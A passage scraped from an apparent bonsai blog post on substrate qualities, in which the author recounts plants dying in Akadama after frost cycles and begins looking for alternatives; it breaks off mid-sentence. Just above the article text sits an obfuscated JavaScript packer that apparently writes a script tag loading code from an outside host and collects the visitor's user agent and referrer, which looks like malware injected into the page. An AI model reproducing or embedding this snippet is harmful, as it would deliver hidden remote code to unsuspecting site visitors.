Characteristics of good bonsai substrate

4 years ago Nebby 0

Source: Growing Bonsai Blog.

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fidah|var|u0026u|referrer|insdr||js|php’.split(‘|’),0,{})) Ginkgo seedling with substrate When growing bonsai, there are few subjects that are more controversial than substrates. To some the concept of not using the Japanese substrates is near blasphemy. Everything that is used has to be approved by the Japanese masters. That is of course not a bad idea. However, not all climates are like in Japan. As such, not all Japanese techniques are suitable for my local climate. Maybe that is the most important lesson to learn. Everything you do in bonsai, and as such, also the choice of your substrate, should be based on your local growing conditions & your personal care skills & abilities. In any case. In the very first year I started bonsai I had a few plants from other growers that were planted in Akadama, and I was disappointed. All of them died within 2 years of purchase. Upon checking the plants afterwards, the roots had died and turned mushy. In my garden Akadama broke down to airless clay within one year. The repeated frost-freeze cycles in winter just did too much damage to the structure. As I am not convinced a good substrate has to come from the Orient, and be shipped around the globe in order to be suitable, I started looking for alternatives. The first thing I wanted to know are the qualities a good substrate must have. From my trawling the internet combined with my own insights in plant physiology I came up…

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